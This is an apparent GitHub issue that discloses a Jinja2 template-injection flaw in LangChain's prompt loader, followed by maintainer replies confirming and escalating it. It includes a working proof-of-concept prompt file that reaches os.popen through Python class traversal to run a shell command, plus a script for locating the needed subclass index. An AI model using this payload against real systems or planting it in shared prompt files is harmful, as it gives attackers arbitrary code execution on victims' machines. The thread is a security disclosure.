Template injection to arbitrary code execution

[r3pwnx]

System Info

windows 11

Who can help?

No response

Information

• The official example notebooks/scripts
• My own modified scripts

Related Components

• LLMs/Chat Models
• Embedding Models
• Prompts / Prompt Templates / Prompt Selectors
• Output Parsers
• Document Loaders
• Vector Stores / Retrievers
• Memory
• Agents / Agent Executors
• Tools / Toolkits
• Chains
• Callbacks/Tracing
• Async

Reproduction

1. save the following data to pt.json

{
    "input_variables": [
        "prompt"
    ],
    "output_parser": null,
    "partial_variables": {},
    "template": "Tell me a {{ prompt }} {{ ''.__class__.__bases__[0].__subclasses__()[147].__init__.__globals__['popen']('dir').read() }}",
    "template_format": "jinja2",
    "validate_template": true,
    "_type": "prompt"
}

2. run

from langchain.prompts import load_prompt
loaded_prompt = load_prompt("pt.json")
loaded_prompt.format(history="", prompt="What is 1 + 1?")

3. the dir command will be execute

attack scene: Alice can send prompt file to Bob and let Bob to load it.
analysis: Jinja2 is used to concat prompts. Template injection will happened
note: in the pt.json, the template has payload, the index of __subclasses__ maybe different in other environment.

Expected behavior

code should not be execute

[r3pwnx]

The index of "subclasses " can be obtained in the following way.

target = 'popen'   
num = -1
for i in ''.__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if target in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

[obi1kenobi]

Sorry for the bot reply, it's still a beta and shouldn't be attempting to close security-related issues like this. I'm triaging this right now and should have an update shortly.

[obi1kenobi]

Issue confirmed, escalating to security@langchain.dev.

Apologies for the delay here. This issue slipped through the cracks, which should not have happened. We're going to use this instance as an internal case study to make sure we do way better in the future.

We've already added a SECURITY.md to the repo so that GitHub directs users to send security-related information to security@langchain.dev to ensure any security-related issues are promptly acted upon: #9551

We're also looking at automation to help us detect security-related issues opened on public GitHub, so we can more effectively internally escalate it to security@langchain.dev as well.